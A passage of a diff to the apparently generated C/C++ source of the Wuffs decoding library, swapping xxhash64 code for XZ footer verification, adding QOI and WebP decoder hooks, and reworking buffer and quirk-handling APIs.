(((uint64_t)(self->private_impl.f_buf_data[6u])) << 48u) | +- (((uint64_t)(self->private_impl.f_buf_data[7u])) << 56u)); +- v_v0 = ((uint64_t)(self->private_impl.f_v0 + ((uint64_t)(v_buf_u64 * 14029467366897019727u)))); +- v_v0 = (((uint64_t)(v_v0 << 31u)) | (v_v0 >> 33u)); +- self->private_impl.f_v0 = ((uint64_t)(v_v0 * 11400714785074694791u)); +- v_buf_u64 = (((uint64_t)(self->private_impl.f_buf_data[8u])) | +- (((uint64_t)(self->private_impl.f_buf_data[9u])) << 8u) | +- (((uint64_t)(self->private_impl.f_buf_data[10u])) << 16u) | +- (((uint64_t)(self->private_impl.f_buf_data[11u])) << 24u) | +- (((uint64_t)(self->private_impl.f_buf_data[12u])) << 32u) | +- (((uint64_t)(self->private_impl.f_buf_data[13u])) << 40u) | +- (((uint64_t)(self->private_impl.f_buf_data[14u])) << 48u) | +- (((uint64_t)(self->private_impl.f_buf_data[15u])) << 56u)); +- v_v1 = ((uint64_t)(self->private_impl.f_v1 + ((uint64_t)(v_buf_u64 * 14029467366897019727u)))); +- v_v1 = (((uint64_t)(v_v1 << 31u)) | (v_v1 >> 33u)); +- self->private_impl.f_v1 = ((uint64_t)(v_v1 * 11400714785074694791u)); +- v_buf_u64 = (((uint64_t)(self->private_impl.f_buf_data[16u])) | +- (((uint64_t)(self->private_impl.f_buf_data[17u])) << 8u) | +- (((uint64_t)(self->private_impl.f_buf_data[18u])) << 16u) | +- (((uint64_t)(self->private_impl.f_buf_data[19u])) << 24u) | +- (((uint64_t)(self->private_impl.f_buf_data[20u])) << 32u) | +- (((uint64_t)(self->private_impl.f_buf_data[21u])) << 40u) | +- (((uint64_t)(self->private_impl.f_buf_data[22u])) << 48u) | +- (((uint64_t)(self->private_impl.f_buf_data[23u])) << 56u)); +- v_v2 = ((uint64_t)(self->private_impl.f_v2 + ((uint64_t)(v_buf_u64 * 14029467366897019727u)))); +- v_v2 = (((uint64_t)(v_v2 << 31u)) | (v_v2 >> 33u)); +- self->private_impl.f_v2 = ((uint64_t)(v_v2 * 11400714785074694791u)); +- v_buf_u64 = (((uint64_t)(self->private_impl.f_buf_data[24u])) | +- (((uint64_t)(self->private_impl.f_buf_data[25u])) << 8u) | +- (((uint64_t)(self->private_impl.f_buf_data[26u])) << 16u) | +- (((uint64_t)(self->private_impl.f_buf_data[27u])) << 24u) | +- (((uint64_t)(self->private_impl.f_buf_data[28u])) << 32u) | +- (((uint64_t)(self->private_impl.f_buf_data[29u])) << 40u) | +- (((uint64_t)(self->private_impl.f_buf_data[30u])) << 48u) | +- (((uint64_t)(self->private_impl.f_buf_data[31u])) << 56u)); +- v_v3 = ((uint64_t)(self->private_impl.f_v3 + ((uint64_t)(v_buf_u64 * 14029467366897019727u)))); +- v_v3 = (((uint64_t)(v_v3 << 31u)) | (v_v3 >> 33u)); +- self->private_impl.f_v3 = ((uint64_t)(v_v3 * 11400714785074694791u)); +- self->private_impl.f_buf_len = 0u; +- break; ++ uint32_t v_c32 = 0; ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_verify_footer; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ uint32_t t_0; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_0 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_verify_footer.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_verify_footer.scratch; ++ uint32_t num_bits_0 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_0; ++ if (num_bits_0 == 24) { ++ t_0 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_0 += 8u; ++ *scratch |= ((uint64_t)(num_bits_0)) << 56; ++ } ++ } ++ v_c32 = t_0; + } +- if (((uint64_t)(a_x.len)) <= 0u) { +- return wuffs_base__make_empty_struct(); ++ if (v_c32 != ((uint32_t)(self->private_impl.f_backwards_size))) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_footer); ++ goto exit; + } +- self->private_impl.f_buf_data[self->private_impl.f_buf_len] = a_x.ptr[0u]; +- self->private_impl.f_buf_len += 1u; +- a_x = wuffs_base__slice_u8__subslice_i(a_x, 1u); +- } +- v_buf_len = (self->private_impl.f_buf_len & 31u); +- v_v0 = self->private_impl.f_v0; +- v_v1 = self->private_impl.f_v1; +- v_v2 = self->private_impl.f_v2; +- v_v3 = self->private_impl.f_v3; +- { +- wuffs_base__slice_u8 i_slice_p = a_x; +- v_p.ptr = i_slice_p.ptr; +- v_p.len = 32; +- uint8_t* i_end0_p = v_p.ptr + (((i_slice_p.len - (size_t)(v_p.ptr - i_slice_p.ptr)) / 32) * 32); +- while (v_p.ptr < i_end0_p) { +- v_buf_u64 = (((uint64_t)(v_p.ptr[0u])) | +- (((uint64_t)(v_p.ptr[1u])) << 8u) | +- (((uint64_t)(v_p.ptr[2u])) << 16u) | +- (((uint64_t)(v_p.ptr[3u])) << 24u) | +- (((uint64_t)(v_p.ptr[4u])) << 32u) | +- (((uint64_t)(v_p.ptr[5u])) << 40u) | +- (((uint64_t)(v_p.ptr[6u])) << 48u) | +- (((uint64_t)(v_p.ptr[7u])) << 56u)); +- v_v0 = ((uint64_t)(v_v0 + ((uint64_t)(v_buf_u64 * 14029467366897019727u)))); +- v_v0 = (((uint64_t)(v_v0 << 31u)) | (v_v0 >> 33u)); +- v_v0 = ((uint64_t)(v_v0 * 11400714785074694791u)); +- v_buf_u64 = (((uint64_t)(v_p.ptr[8u])) | +- (((uint64_t)(v_p.ptr[9u])) << 8u) | +- (((uint64_t)(v_p.ptr[10u])) << 16u) | +- (((uint64_t)(v_p.ptr[11u])) << 24u) | +- (((uint64_t)(v_p.ptr[12u])) << 32u) | +- (((uint64_t)(v_p.ptr[13u])) << 40u) | +- (((uint64_t)(v_p.ptr[14u])) << 48u) | +- (((uint64_t)(v_p.ptr[15u])) << 56u)); +- v_v1 = ((uint64_t)(v_v1 + ((uint64_t)(v_buf_u64 * 14029467366897019727u)))); +- v_v1 = (((uint64_t)(v_v1 << 31u)) | (v_v1 >> 33u)); +- v_v1 = ((uint64_t)(v_v1 * 11400714785074694791u)); +- v_buf_u64 = (((uint64_t)(v_p.ptr[16u])) | +- (((uint64_t)(v_p.ptr[17u])) << 8u) | +- (((uint64_t)(v_p.ptr[18u])) << 16u) | +- (((uint64_t)(v_p.ptr[19u])) << 24u) | +- (((uint64_t)(v_p.ptr[20u])) << 32u) | +- (((uint64_t)(v_p.ptr[21u])) << 40u) | +- (((uint64_t)(v_p.ptr[22u])) << 48u) | +- (((uint64_t)(v_p.ptr[23u])) << 56u)); +- v_v2 = ((uint64_t)(v_v2 + ((uint64_t)(v_buf_u64 * 14029467366897019727u)))); +- v_v2 = (((uint64_t)(v_v2 << 31u)) | (v_v2 >> 33u)); +- v_v2 = ((uint64_t)(v_v2 * 11400714785074694791u)); +- v_buf_u64 = (((uint64_t)(v_p.ptr[24u])) | +- (((uint64_t)(v_p.ptr[25u])) << 8u) | +- (((uint64_t)(v_p.ptr[26u])) << 16u) | +- (((uint64_t)(v_p.ptr[27u])) << 24u) | +- (((uint64_t)(v_p.ptr[28u])) << 32u) | +- (((uint64_t)(v_p.ptr[29u])) << 40u) | +- (((uint64_t)(v_p.ptr[30u])) << 48u) | +- (((uint64_t)(v_p.ptr[31u])) << 56u)); +- v_v3 = ((uint64_t)(v_v3 + ((uint64_t)(v_buf_u64 * 14029467366897019727u)))); +- v_v3 = (((uint64_t)(v_v3 << 31u)) | (v_v3 >> 33u)); +- v_v3 = ((uint64_t)(v_v3 * 11400714785074694791u)); +- v_p.ptr += 32; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ uint32_t t_1; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { ++ t_1 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); ++ iop_a_src += 2; ++ } else { ++ self->private_data.s_verify_footer.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_verify_footer.scratch; ++ uint32_t num_bits_1 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_1; ++ if (num_bits_1 == 8) { ++ t_1 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_1 += 8u; ++ *scratch |= ((uint64_t)(num_bits_1)) << 56; ++ } ++ } ++ v_c32 = t_1; + } +- v_p.len = 1; +- uint8_t* i_end1_p = i_slice_p.ptr + i_slice_p.len; +- while (v_p.ptr < i_end1_p) { +- self->private_impl.f_buf_data[v_buf_len] = v_p.ptr[0u]; +- v_buf_len = ((v_buf_len + 1u) & 31u); +- v_p.ptr += 1; ++ if (v_c32 != ((uint32_t)(self->private_impl.f_flags))) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_footer); ++ goto exit; + } +- v_p.len = 0; +- } +- self->private_impl.f_buf_len = v_buf_len; +- self->private_impl.f_v0 = v_v0; +- self->private_impl.f_v1 = v_v1; +- self->private_impl.f_v2 = v_v2; +- self->private_impl.f_v3 = v_v3; +- return wuffs_base__make_empty_struct(); +-} +- +-// -------- func xxhash64.hasher.checksum_u64 + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_xxhash64__hasher__checksum_u64( +- const wuffs_xxhash64__hasher* self) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; ++ goto ok; ++ ok: ++ self->private_impl.p_verify_footer = 0; ++ goto exit; + } + +- uint64_t v_ret = 0; +- uint64_t v_v0 = 0; +- uint64_t v_v1 = 0; +- uint64_t v_v2 = 0; +- uint64_t v_v3 = 0; +- uint32_t v_i = 0; +- uint32_t v_i8 = 0; +- uint32_t v_n = 0; +- uint32_t v_buf_u32 = 0; +- uint64_t v_buf_u64 = 0; ++ goto suspend; ++ suspend: ++ self->private_impl.p_verify_footer = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; + +- if ((self->private_impl.f_length_modulo_u64 >= 32u) || self->private_impl.f_length_overflows_u64) { +- v_ret += (((uint64_t)(self->private_impl.f_v0 << 1u)) | (self->private_impl.f_v0 >> 63u)); +- v_ret += (((uint64_t)(self->private_impl.f_v1 << 7u)) | (self->private_impl.f_v1 >> 57u)); +- v_ret += (((uint64_t)(self->private_impl.f_v2 << 12u)) | (self->private_impl.f_v2 >> 52u)); +- v_ret += (((uint64_t)(self->private_impl.f_v3 << 18u)) | (self->private_impl.f_v3 >> 46u)); +- v_v0 = ((uint64_t)(self->private_impl.f_v0 * 14029467366897019727u)); +- v_v0 = (((uint64_t)(v_v0 << 31u)) | (v_v0 >> 33u)); +- v_v0 *= 11400714785074694791u; +- v_v1 = ((uint64_t)(self->private_impl.f_v1 * 14029467366897019727u)); +- v_v1 = (((uint64_t)(v_v1 << 31u)) | (v_v1 >> 33u)); +- v_v1 *= 11400714785074694791u; +- v_v2 = ((uint64_t)(self->private_impl.f_v2 * 14029467366897019727u)); +- v_v2 = (((uint64_t)(v_v2 << 31u)) | (v_v2 >> 33u)); +- v_v2 *= 11400714785074694791u; +- v_v3 = ((uint64_t)(self->private_impl.f_v3 * 14029467366897019727u)); +- v_v3 = (((uint64_t)(v_v3 << 31u)) | (v_v3 >> 33u)); +- v_v3 *= 11400714785074694791u; +- v_ret = ((uint64_t)(((uint64_t)((v_ret ^ v_v0) * 11400714785074694791u)) + 9650029242287828579u)); +- v_ret = ((uint64_t)(((uint64_t)((v_ret ^ v_v1) * 11400714785074694791u)) + 9650029242287828579u)); +- v_ret = ((uint64_t)(((uint64_t)((v_ret ^ v_v2) * 11400714785074694791u)) + 9650029242287828579u)); +- v_ret = ((uint64_t)(((uint64_t)((v_ret ^ v_v3) * 11400714785074694791u)) + 9650029242287828579u)); +- v_ret += self->private_impl.f_length_modulo_u64; +- } else { +- v_ret += 2870177450012600261u; +- v_ret += self->private_impl.f_length_modulo_u64; +- } +- v_n = 32u; +- v_n = wuffs_base__u32__min(v_n, self->private_impl.f_buf_len); +- if (8u <= v_n) { +- v_buf_u64 = (((uint64_t)(self->private_impl.f_buf_data[0u])) | +- (((uint64_t)(self->private_impl.f_buf_data[1u])) << 8u) | +- (((uint64_t)(self->private_impl.f_buf_data[2u])) << 16u) | +- (((uint64_t)(self->private_impl.f_buf_data[3u])) << 24u) | +- (((uint64_t)(self->private_impl.f_buf_data[4u])) << 32u) | +- (((uint64_t)(self->private_impl.f_buf_data[5u])) << 40u) | +- (((uint64_t)(self->private_impl.f_buf_data[6u])) << 48u) | +- (((uint64_t)(self->private_impl.f_buf_data[7u])) << 56u)); +- v_buf_u64 *= 14029467366897019727u; +- v_buf_u64 = (((uint64_t)(v_buf_u64 << 31u)) | (v_buf_u64 >> 33u)); +- v_buf_u64 *= 11400714785074694791u; +- v_ret ^= v_buf_u64; +- v_ret = (((uint64_t)(v_ret << 27u)) | (v_ret >> 37u)); +- v_ret *= 11400714785074694791u; +- v_ret += 9650029242287828579u; +- v_i = 8u; +- } +- if (16u <= v_n) { +- v_buf_u64 = (((uint64_t)(self->private_impl.f_buf_data[8u])) | +- (((uint64_t)(self->private_impl.f_buf_data[9u])) << 8u) | +- (((uint64_t)(self->private_impl.f_buf_data[10u])) << 16u) | +- (((uint64_t)(self->private_impl.f_buf_data[11u])) << 24u) | +- (((uint64_t)(self->private_impl.f_buf_data[12u])) << 32u) | +- (((uint64_t)(self->private_impl.f_buf_data[13u])) << 40u) | +- (((uint64_t)(self->private_impl.f_buf_data[14u])) << 48u) | +- (((uint64_t)(self->private_impl.f_buf_data[15u])) << 56u)); +- v_buf_u64 *= 14029467366897019727u; +- v_buf_u64 = (((uint64_t)(v_buf_u64 << 31u)) | (v_buf_u64 >> 33u)); +- v_buf_u64 *= 11400714785074694791u; +- v_ret ^= v_buf_u64; +- v_ret = (((uint64_t)(v_ret << 27u)) | (v_ret >> 37u)); +- v_ret *= 11400714785074694791u; +- v_ret += 9650029242287828579u; +- v_i = 16u; +- } +- if (24u <= v_n) { +- v_buf_u64 = (((uint64_t)(self->private_impl.f_buf_data[16u])) | +- (((uint64_t)(self->private_impl.f_buf_data[17u])) << 8u) | +- (((uint64_t)(self->private_impl.f_buf_data[18u])) << 16u) | +- (((uint64_t)(self->private_impl.f_buf_data[19u])) << 24u) | +- (((uint64_t)(self->private_impl.f_buf_data[20u])) << 32u) | +- (((uint64_t)(self->private_impl.f_buf_data[21u])) << 40u) | +- (((uint64_t)(self->private_impl.f_buf_data[22u])) << 48u) | +- (((uint64_t)(self->private_impl.f_buf_data[23u])) << 56u)); +- v_buf_u64 *= 14029467366897019727u; +- v_buf_u64 = (((uint64_t)(v_buf_u64 << 31u)) | (v_buf_u64 >> 33u)); +- v_buf_u64 *= 11400714785074694791u; +- v_ret ^= v_buf_u64; +- v_ret = (((uint64_t)(v_ret << 27u)) | (v_ret >> 37u)); +- v_ret *= 11400714785074694791u; +- v_ret += 9650029242287828579u; +- v_i = 24u; +- } +- if ((v_n & 4u) != 0u) { +- v_i8 = (v_i & 24u); +- v_buf_u32 = (((uint32_t)(self->private_impl.f_buf_data[(v_i8 + 0u)])) | +- (((uint32_t)(self->private_impl.f_buf_data[(v_i8 + 1u)])) << 8u) | +- (((uint32_t)(self->private_impl.f_buf_data[(v_i8 + 2u)])) << 16u) | +- (((uint32_t)(self->private_impl.f_buf_data[(v_i8 + 3u)])) << 24u)); +- v_ret ^= ((uint64_t)(((uint64_t)(v_buf_u32)) * 11400714785074694791u)); +- v_ret = (((uint64_t)(v_ret << 23u)) | (v_ret >> 41u)); +- v_ret *= 14029467366897019727u; +- v_ret += 1609587929392839161u; +- v_i = (v_i8 + 4u); +- } +- while (v_i < v_n) { +- v_ret ^= ((uint64_t)(((uint64_t)(self->private_impl.f_buf_data[v_i])) * 2870177450012600261u)); +- v_ret = (((uint64_t)(v_ret << 11u)) | (v_ret >> 53u)); +- v_ret *= 11400714785074694791u; +- v_i += 1u; ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +- v_ret ^= (v_ret >> 33u); +- v_ret *= 14029467366897019727u; +- v_ret ^= (v_ret >> 29u); +- v_ret *= 1609587929392839161u; +- v_ret ^= (v_ret >> 32u); +- return ((uint64_t)(v_ret)); ++ ++ return status; + } + +-#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__XXHASH64) ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__XZ) + + #if defined(__cplusplus) && defined(WUFFS_BASE__HAVE_UNIQUE_PTR) + +@@ -62309,16 +78871,12 @@ DynIOBuffer::DynIOBuffer(uint64_t max_incl) + : m_buf(wuffs_base__empty_io_buffer()), m_max_incl(max_incl) {} + + DynIOBuffer::~DynIOBuffer() { +- if (m_buf.data.ptr) { +- free(m_buf.data.ptr); +- } ++ free(m_buf.data.ptr); + } + + void // + DynIOBuffer::drop() { +- if (m_buf.data.ptr) { +- free(m_buf.data.ptr); +- } ++ free(m_buf.data.ptr); + m_buf = wuffs_base__empty_io_buffer(); + } + +@@ -62329,13 +78887,16 @@ DynIOBuffer::grow(uint64_t min_incl) { + return ((min_incl == 0) && (m_max_incl == 0)) + ? DynIOBuffer::GrowResult::OK + : DynIOBuffer::GrowResult::FailedMaxInclExceeded; ++ } else if (n > SIZE_MAX) { ++ return DynIOBuffer::GrowResult::FailedOutOfMemory; + } else if (n > m_buf.data.len) { +- uint8_t* ptr = static_cast(realloc(m_buf.data.ptr, n)); ++ uint8_t* ptr = ++ static_cast(realloc(m_buf.data.ptr, static_cast(n))); + if (!ptr) { + return DynIOBuffer::GrowResult::FailedOutOfMemory; + } + m_buf.data.ptr = ptr; +- m_buf.data.len = n; ++ m_buf.data.len = static_cast(n); + } + return DynIOBuffer::GrowResult::OK; + } +@@ -62382,7 +78943,7 @@ Input::BringsItsOwnIOBuffer() { + FileInput::FileInput(FILE* f) : m_f(f) {} + + std::string // +-FileInput::CopyIn(IOBuffer* dst, uint64_t history_retain_length) { ++FileInput::CopyIn(IOBuffer* dst) { + if (!m_f) { + return "wuffs_aux::sync_io::FileInput: nullptr file"; + } else if (!dst) { +@@ -62390,7 +78951,7 @@ FileInput::CopyIn(IOBuffer* dst, uint64_t history_retain_length) { + } else if (dst->meta.closed) { + return "wuffs_aux::sync_io::FileInput: end of file"; + } else { +- dst->compact_retaining(history_retain_length); ++ dst->compact(); + size_t n = fread(dst->writer_pointer(), 1, dst->writer_length(), m_f); + dst->meta.wi += n; + dst->meta.closed = feof(m_f); +@@ -62418,7 +78979,7 @@ MemoryInput::BringsItsOwnIOBuffer() { + } + + std::string // +-MemoryInput::CopyIn(IOBuffer* dst, uint64_t history_retain_length) { ++MemoryInput::CopyIn(IOBuffer* dst) { + if (!dst) { + return "wuffs_aux::sync_io::MemoryInput: nullptr IOBuffer"; + } else if (dst->meta.closed) { +@@ -62428,7 +78989,7 @@ MemoryInput::CopyIn(IOBuffer* dst, uint64_t history_retain_length) { + // to it. + return "wuffs_aux::sync_io::MemoryInput: overlapping buffers"; + } else { +- dst->compact_retaining(history_retain_length); ++ dst->compact(); + size_t nd = dst->writer_length(); + size_t ns = m_io.reader_length(); + size_t n = (nd < ns) ? nd : ns; +@@ -62483,7 +79044,7 @@ AdvanceIOBufferTo(const ErrorMessages& error_messages, + if (!input.BringsItsOwnIOBuffer()) { + io_buf.compact(); + } +- std::string error_message = input.CopyIn(&io_buf, 0); ++ std::string error_message = input.CopyIn(&io_buf); + if (!error_message.empty()) { + return error_message; + } +@@ -62566,7 +79127,7 @@ HandleMetadata( + } else if (!input.BringsItsOwnIOBuffer()) { + io_buf.compact(); + } +- std::string error_message = input.CopyIn(&io_buf, 0); ++ std::string error_message = input.CopyIn(&io_buf); + if (!error_message.empty()) { + return error_message; + } +@@ -62627,15 +79188,13 @@ DecodeCborCallbacks::Done(DecodeCborResult& result, + sync_io::Input& input, + IOBuffer& buffer) {} + +-DecodeCborArgQuirks::DecodeCborArgQuirks(wuffs_base__slice_u32 repr0) +- : repr(repr0) {} +- +-DecodeCborArgQuirks::DecodeCborArgQuirks(uint32_t* ptr0, size_t len0) +- : repr(wuffs_base__make_slice_u32(ptr0, len0)) {} ++DecodeCborArgQuirks::DecodeCborArgQuirks(const QuirkKeyValuePair* ptr0, ++ const size_t len0) ++ : ptr(ptr0), len(len0) {} + + DecodeCborArgQuirks // + DecodeCborArgQuirks::DefaultValue() { +- return DecodeCborArgQuirks(wuffs_base__empty_slice_u32()); ++ return DecodeCborArgQuirks(nullptr, 0); + } + + DecodeCborResult // +@@ -62664,8 +79223,8 @@ DecodeCbor(DecodeCborCallbacks& callbacks, + ret_error_message = "wuffs_aux::DecodeCbor: out of memory"; + goto done; + } +- for (size_t i = 0; i < quirks.repr.len; i++) { +- dec->set_quirk(quirks.repr.ptr[i], 1); ++ for (size_t i = 0; i < quirks.len; i++) { ++ dec->set_quirk(quirks.ptr[i].first, quirks.ptr[i].second); + } + + // Prepare the wuffs_base__tok_buffer. 256 tokens is 2KiB. +@@ -62710,14 +79269,14 @@ DecodeCbor(DecodeCborCallbacks& callbacks, + "wuffs_aux::DecodeCbor: internal error: io_buf is closed"; + goto done; + } +- io_buf->compact_retaining(dec->history_retain_length()); ++ io_buf->compact(); + if (io_buf->meta.wi >= io_buf->data.len) { + ret_error_message = + "wuffs_aux::DecodeCbor: internal error: io_buf is full"; + goto done; + } + cursor_index = io_buf->meta.ri; +- io_error_message = input.CopyIn(io_buf, dec->history_retain_length()); ++ io_error_message = input.CopyIn(io_buf); + } else { + ret_error_message = tok_status.message(); + goto done; +@@ -62796,7 +79355,7 @@ DecodeCbor(DecodeCborCallbacks& callbacks, + goto done; + } + depth++; +- if (depth > WUFFS_CBOR__DECODER_DEPTH_MAX_INCL) { ++ if (depth > (int32_t)WUFFS_CBOR__DECODER_DEPTH_MAX_INCL) { + ret_error_message = + "wuffs_aux::DecodeCbor: internal error: bad depth"; + goto done; +@@ -63052,6 +79611,11 @@ DecodeImageCallbacks::SelectDecoder(uint32_t fourcc, + } + #endif + ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__QOI) ++ case WUFFS_BASE__FOURCC__QOI: ++ return wuffs_qoi__decoder::alloc_as__wuffs_base__image_decoder(); ++#endif ++ + #if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__TGA) + case WUFFS_BASE__FOURCC__TGA: + return wuffs_tga__decoder::alloc_as__wuffs_base__image_decoder(); +@@ -63061,6 +79625,11 @@ DecodeImageCallbacks::SelectDecoder(uint32_t fourcc, + case WUFFS_BASE__FOURCC__WBMP: + return wuffs_wbmp__decoder::alloc_as__wuffs_base__image_decoder(); + #endif ++ ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__WEBP) ++ case WUFFS_BASE__FOURCC__WEBP: ++ return wuffs_webp__decoder::alloc_as__wuffs_base__image_decoder(); ++#endif + } + + return wuffs_base__image_decoder::unique_ptr(nullptr); +@@ -63091,7 +79660,7 @@ DecodeImageCallbacks::AllocPixbuf(const wuffs_base__image_config& image_config, + return AllocPixbufResult(DecodeImage_UnsupportedPixelConfiguration); + } + void* ptr = +- allow_uninitialized_memory ? malloc((size_t)len) : calloc((size_t)len, 1); ++ allow_uninitialized_memory ? malloc((size_t)len) : calloc(1, (size_t)len); + if (!ptr) { + return AllocPixbufResult(DecodeImage_OutOfMemory); + } +@@ -63116,7 +79685,7 @@ DecodeImageCallbacks::AllocWorkbuf(wuffs_base__range_ii_u64 len_range, + return AllocWorkbufResult(DecodeImage_OutOfMemory); + } + void* ptr = +- allow_uninitialized_memory ? malloc((size_t)len) : calloc((size_t)len, 1); ++ allow_uninitialized_memory ? malloc((size_t)len) : calloc(1, (size_t)len); + if (!ptr) { + return AllocWorkbufResult(DecodeImage_OutOfMemory); + } +@@ -63153,15 +79722,13 @@ const char DecodeImage_UnsupportedPixelConfiguration[] = // + const char DecodeImage_UnsupportedPixelFormat[] = // + "wuffs_aux::DecodeImage: unsupported pixel format"; + +-DecodeImageArgQuirks::DecodeImageArgQuirks(wuffs_base__slice_u32 repr0) +- : repr(repr0) {} +- +-DecodeImageArgQuirks::DecodeImageArgQuirks(uint32_t* ptr0, size_t len0) +- : repr(wuffs_base__make_slice_u32(ptr0, len0)) {} ++DecodeImageArgQuirks::DecodeImageArgQuirks(const QuirkKeyValuePair* ptr0, ++ const size_t len0) ++ : ptr(ptr0), len(len0) {} + + DecodeImageArgQuirks // + DecodeImageArgQuirks::DefaultValue() { +- return DecodeImageArgQuirks(wuffs_base__empty_slice_u32()); ++ return DecodeImageArgQuirks(nullptr, 0); + } + + DecodeImageArgFlags::DecodeImageArgFlags(uint64_t repr0) : repr(repr0) {} +@@ -63259,7 +79826,8 @@ DecodeImage0(wuffs_base__image_decoder::unique_ptr& image_decoder, + DecodeImageCallbacks& callbacks, + sync_io::Input& input, + wuffs_base__io_buffer& io_buf, +- wuffs_base__slice_u32 quirks, ++ const QuirkKeyValuePair* quirks_ptr, ++ const size_t quirks_len, + uint64_t flags, + wuffs_base__pixel_blend pixel_blend, + wuffs_base__color_u32_argb_premul background_color, +@@ -63301,7 +79869,7 @@ redirect: + fourcc = 0; + break; + } +- std::string error_message = input.CopyIn(&io_buf, 0); ++ std::string error_message = input.CopyIn(&io_buf); + if (!error_message.empty()) { + return DecodeImageResult(std::move(error_message)); + } +@@ -63342,8 +79910,8 @@ redirect: + } + + // Apply quirks. +- for (size_t i = 0; i < quirks.len; i++) { +- image_decoder->set_quirk(quirks.ptr[i], 1); ++ for (size_t i = 0; i < quirks_len; i++) { ++ image_decoder->set_quirk(quirks_ptr[i].first, quirks_ptr[i].second); + } + + // Apply flags. +@@ -63397,8 +79965,7 @@ redirect: + } else if (io_buf.meta.closed) { + return DecodeImageResult(DecodeImage_UnexpectedEndOfFile); + } else { +- std::string error_message = +- input.CopyIn(&io_buf, image_decoder->history_retain_length()); ++ std::string error_message = input.CopyIn(&io_buf); + if (!error_message.empty()) { + return DecodeImageResult(std::move(error_message)); + } +@@ -63480,8 +80047,7 @@ redirect: + } else if (io_buf.meta.closed) { + return DecodeImageResult(DecodeImage_UnexpectedEndOfFile); + } else { +- std::string error_message = +- input.CopyIn(&io_buf, image_decoder->history_retain_length()); ++ std::string error_message = input.CopyIn(&io_buf); + if (!error_message.empty()) { + return DecodeImageResult(std::move(error_message)); + } +@@ -63510,8 +80076,7 @@ redirect: + message = DecodeImage_UnexpectedEndOfFile; + break; + } else { +- std::string error_message = +- input.CopyIn(&io_buf, image_decoder->history_retain_length()); ++ std::string error_message = input.CopyIn(&io_buf); + if (!error_message.empty()) { + message = std::move(error_message); + break; +@@ -63539,8 +80104,7 @@ redirect: + } else if (io_buf.meta.closed) { + return DecodeImageResult(DecodeImage_UnexpectedEndOfFile); + } else { +- std::string error_message = +- input.CopyIn(&io_buf, image_decoder->history_retain_length()); ++ std::string error_message = input.CopyIn(&io_buf); + if (!error_message.empty()) { + return DecodeImageResult(std::move(error_message)); + } +@@ -63574,10 +80138,10 @@ DecodeImage(DecodeImageCallbacks& callbacks, + } + + wuffs_base__image_decoder::unique_ptr image_decoder(nullptr); +- DecodeImageResult result = +- DecodeImage0(image_decoder, callbacks, input, *io_buf, quirks.repr, +- flags.repr, pixel_blend.repr, background_color.repr, +- max_incl_dimension.repr, max_incl_metadata_length.repr); ++ DecodeImageResult result = DecodeImage0( ++ image_decoder, callbacks, input, *io_buf, quirks.ptr, quirks.len, ++ flags.repr, pixel_blend.repr, background_color.repr, ++ max_incl_dimension.repr, max_incl_metadata_length.repr); + callbacks.Done(result, input, *io_buf, std::move(image_decoder)); + return result; + } +@@ -63612,15 +80176,13 @@ const char DecodeJson_BadJsonPointer[] = // + const char DecodeJson_NoMatch[] = // + "wuffs_aux::DecodeJson: no match"; + +-DecodeJsonArgQuirks::DecodeJsonArgQuirks(wuffs_base__slice_u32 repr0) +- : repr(repr0) {} +- +-DecodeJsonArgQuirks::DecodeJsonArgQuirks(uint32_t* ptr0, size_t len0) +- : repr(wuffs_base__make_slice_u32(ptr0, 